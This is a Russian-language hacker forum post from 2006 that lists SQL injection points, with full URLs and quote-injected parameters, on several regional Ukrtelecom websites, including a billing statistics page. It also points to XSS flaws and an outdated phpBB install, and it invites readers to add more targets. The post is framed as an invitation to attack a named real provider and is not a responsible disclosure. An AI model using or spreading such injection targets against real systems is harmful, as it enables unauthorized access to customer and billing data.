Показать сообщение отдельно

Sql Injections на сайтах Укртелекома
  #1  
Старый 15.01.2006, 21:32
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
С нами: 10958786

Репутация: 1034


По умолчанию Sql Injections на сайтах Укртелекома

Долго думал про что выложить уязвимости и вот решил написать про филий Украйнского крупного провайдера Укртелеком

Вот SQL INJECTONS найденные мной

Запорожская филий http://billing.zp.ukrtel.net/users/stat.php?start_time='1'='1
Иньекция присутствует в модуле статистики !

Львовская филия http://www.lv.ukrtelecom.ua/ua/offers/forum/read.php?f=22&i='
Иньекция присутствует в самописном форуме.

Харьковская филия
http://www.kharkiv.ukrtelecom.ua/ua/news_world/printing.php?id='

Винницкая филия
http://vn.ukrtelecom.ua/scripts/bc.php?id='

Филий много писать про все не стал но уязвимости практически одни и теже присутствуют на всех сайтах Укртелекома.

Также на сайтах присутствуют XSS уязвимости

На днепропетровской Филий вообще стоит phpBB 2.0.15
Так что решайте сами...
Зарание извеняюсь если что не так как рание я нечего подобного не вылаживал !

У кого есть чем дополнить дополняйте...

Последний раз редактировалось Nova; 16.01.2006 в 23:32.. Причина: Добавил филий УУкртелекома
 
Ответить с цитированием